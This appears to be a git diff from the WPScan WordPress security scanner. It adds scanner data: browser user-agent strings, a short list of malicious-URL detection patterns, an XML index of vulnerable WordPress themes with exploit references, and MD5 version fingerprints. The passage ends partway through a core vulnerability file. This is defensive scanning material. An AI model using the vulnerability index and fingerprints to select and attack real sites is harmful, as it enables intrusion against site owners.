"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0)",
"Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
// MAC
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13",
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10",
// Linux
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0",
"Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0",
"Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00",
"Mozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0"
]
}

3
data/malwares.txt Normal file
View File

@@ -0,0 +1,3 @@
http://.*.rr.nu
http://www.thesea.org/media.php

2241
data/plugin_vulns.xml Normal file

File diff suppressed because it is too large Load Diff

2716
data/plugins.txt Normal file

File diff suppressed because it is too large Load Diff

2447
data/timthumbs.txt Normal file

File diff suppressed because it is too large Load Diff

865
data/wp_theme_vulns.xml Normal file
View File

@@ -0,0 +1,865 @@
<?xml version="1.0"?>
<!--
WPScan - WordPress Security Scanner
Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
This file contains vulnerabilities associated with WordPress themes.
TYPE = ["SQLI", "MULTI", "REDIRECT", "RCE", "RFI", "LFI", "UPLOAD", "UNKNOWN", "XSS"]
-->
<themes>
<theme name="famous">
<vulnerability>
<title>WordPress Famous Theme 2.0.5 Shell Upload</title>
<reference>http://packetstormsecurity.org/files/113842/</reference>
<type>UPLOAD</type>
</vulnerability>
</theme>
<theme name="deep-blue">
<vulnerability>
<title>WordPress Deep-Blue Theme 1.9.2 Arbitrary File Upload Vulnerability</title>
<reference>http://packetstormsecurity.org/files/113843/</reference>
<type>UPLOAD</type>
</vulnerability>
</theme>
<theme name="classipress">
<vulnerability>
<title>WordPress Classipress Theme &lt;= 3.1.4 Stored XSS</title>
<reference>http://www.exploit-db.com/exploits/18053/</reference>
<type>XSS</type>
</vulnerability>
</theme>
<theme name="merchant">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="smpl">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="drawar">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="sentient">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="whitelight">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="unsigned">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="shelflife">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="olya">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="sliding">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="beveled">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="empire-commerce">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="buro-commerce">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="briefed-commerce">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="wikeasi">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="currents">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="emporium">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="biznizz-commerce">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="kaboodle-commerce">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="inspire-commerce">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="teamster">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="argentum">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="statua-commerce">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="simplicity-commerce">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="canvas-commerce">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="wootique">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="woostore">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="coquette">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="buro">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="swatch">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="announcement">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="empire">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="supportpress">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="editorial">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="statua">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="briefed">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="faultpress">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="kaboodle">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="savinggrace">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="premiere">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="simplicity">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="deliciousmagazine">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="bookclub">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="boldnews">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="placeholder">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="biznizz">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="auld">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="listings">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="elefolio">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="chapters">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="continuum">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="diner">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="skeptical">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="caffeinated">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="crisp">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="sealight">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="estate">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="tma">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="coda">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="inspire">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="apz">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="spectrum">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="diarise">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="boast">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="retreat">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="cityguide">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="canvas">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="postcard">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="delegate">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="mystream">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="optimize">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="backstage">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="bueno">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="digitalfarm">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="headlines">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="therapy">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="rockstar">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="dailyedition">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="object">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="coffeebreak">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="mainstream">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="featurepitch">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="thejournal">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="aperture">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="metamorphosis">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="bloggingstream">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="thestation">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="groovyvideo">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="irresistible">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="cushy">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="wootube">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="abstract">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="busybee">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="blogtheme">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="typebased">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="overeasy">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="snapshot">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="openair">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="freshnews">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="livewire">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="flashnews">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="gazette">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
<theme name="premiumnews">
<vulnerability>
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
<reference>https://gist.github.com/2523147</reference>
<type>RCE</type>
</vulnerability>
</theme>
</themes>

232
data/wp_versions.xml Normal file
View File

@@ -0,0 +1,232 @@
<?xml version="1.0"?>
<!--
WPScan - WordPress Security Scanner
Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
ryandewhurst at gmail
<!--
This file contains identification data to identify WordPress verions.
http://wordpress.org/download/release-archive/
Position is important, DO NOT change anything unless you know what you are doing :p
-->
<wp-versions>
<file src="wp-includes/js/customize-preview.js">
<hash md5="617d9fd858e117c7d1d087be168b5643">
<score>1</score>
<versions>3.4.1</versions>
</hash>
<hash md5="da36bc2dfcb13350c799b62de68dfa4b">
<score>1</score>
<versions>3.4</versions>
</hash>
<hash md5="a8a259fc5197a78ffe62d6be38dc52f8">
<score>1</score>
<versions>3.4-beta4</versions>
</hash>
</file>
<file src="wp-includes/js/plupload/plupload.js">
<hash md5="85199c05db63fcb5880de4af8be7b571">
<score>1</score>
<versions>3.3.2</versions>
</hash>
</file>
<file src="$wp-content$/themes/twentyeleven/style.css">
<!-- same md5 for 3.3.2 -->
<hash md5="030d3bac906ba69e9fbc99c5bac54a8e">
<score>1</score>
<versions>3.3.1</versions>
</hash>
</file>
<file src="wp-admin/js/wp-fullscreen.js">
<hash md5="5675f7793f171b6424bf72f9d7bf4d9a">
<score>1</score>
<versions>3.2.1</versions>
</hash>
<hash md5="7b423e0b7c9221092737ad5271d09863">
<score>1</score>
<versions>3.2</versions>
</hash>
</file>
<file src="wp-admin/js/common.js">
<hash md5="4516252d47a73630280869994d510180">
<score>1</score>
<versions>3.3</versions>
</hash>
</file>
<file src="wp-includes/css/admin-bar.css">
<hash md5="181250fab3a7e2549a7e7fa21c2e6079">
<score>1</score>
<versions>3.1</versions>
</hash>
</file>
<file src="$wp-content$/themes/twentyten/style.css">
<hash md5="6211e2ac1463bf99e98f28ab63e47c54">
<score>1</score>
<versions>3.0</versions>
</hash>
</file>
<file src="$wp-plugins$/akismet/readme.txt">
<hash md5="4d5e52da417aa0101054bd41e6243389">
<score>1</score>
<versions>2.8.6</versions>
</hash>
<hash md5="58e086dea9d24ed074fe84ba87386c69">
<score>1</score>
<versions>2.8.5</versions>
</hash>
<hash md5="48c52025b5f28731e9a0c864c189c2e7">
<score>1</score>
<versions>2.8.2</versions>
</hash>
</file>
<file src="wp-includes/js/wp-ajax-response.js">
<hash md5="0289d1c13821599764774d55516ab81a">
<score>1</score>
<versions>2.7.1</versions>
</hash>
</file>
<file src="wp-includes/js/thickbox/thickbox.css">
<hash md5="9c2bd2be0893adbe02a0f864526734c2">
<score>1</score>
<versions>2.7</versions>
</hash>
</file>
<file src="wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js">
<hash md5="5b140ddf0f08034402ae78b31d8a1a28">
<score>1</score>
<versions>2.6</versions>
</hash>
</file>
<file src="wp-includes/js/tinymce/themes/advanced/js/image.js">
<hash md5="088245408531c58bb52cc092294cc384">
<score>1</score>
<versions>2.5.1</versions>
</hash>
</file>
<file src="wp-includes/js/tinymce/themes/advanced/js/link.js">
<hash md5="19c6f3118728c38eb7779aab4847d2d9">
<score>1</score>
<versions>2.5</versions>
</hash>
</file>
<file src="wp-includes/js/wp-ajax.js">
<hash md5="c5dbce0c3232c477033e0ce486c62755">
<score>1</score>
<versions>2.2</versions>
</hash>
</file>
<file src="$wp-content$/themes/default/style.css">
<hash md5="e44545f529a54de88209ce588676231c">
<score>1</score>
<versions>2.0.1</versions>
</hash>
<hash md5="f786f66d3a40846aa22dcdfeb44fa562">
<score>1</score>
<versions>2.0</versions>
</hash>
</file>
<file src="wp-layout.css">
<hash md5="7140e06c00ed03d2bb3dad7672557510">
<score>1</score>
<versions>1.2.1</versions>
</hash>
<hash md5="1bcc9253506c067eb130c9fc4f211a2f">
<score>1</score>
<versions>1.2-delta</versions>
</hash>
</file>
<file src="layout2b.css">
<hash md5="baec6b6ccbf71d8dced9f1bf67c751e1">
<score>1</score>
<versions>0.71-gold</versions>
</hash>
</file>
</wp-versions>

211
data/wp_vulns.xml Normal file
View File

@@ -0,0 +1,211 @@
<?xml version="1.0"?>
<!--
WPScan - WordPress Security Scanner
Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
ryandewhurst at gmail
This file contains vulnerabilities associated with WordPress verions.
-->
<vulnerabilities>
<wordpress version="3.4-beta4">
<vulnerability>
<title>Wordpress 3.3.1 Multiple CSRF Vulnerabilities</title>
<reference>http://www.exploit-db.com/exploits/18791/</reference>
</vulnerability>
</wordpress>
<wordpress version="3.3.2">
<vulnerability>
<title>Wordpress 3.3.1 Multiple CSRF Vulnerabilities</title>
<reference>http://www.exploit-db.com/exploits/18791/</reference>
</vulnerability>
<vulnerability>
<title>WordPress 3.3.2 Cross Site Scripting</title>
<reference>http://packetstormsecurity.org/files/113254</reference>
</vulnerability>
</wordpress>
<wordpress version="3.3.1">
<vulnerability>
<title>Multiple vulnerabilities including XSS and Privilege Escalation</title>
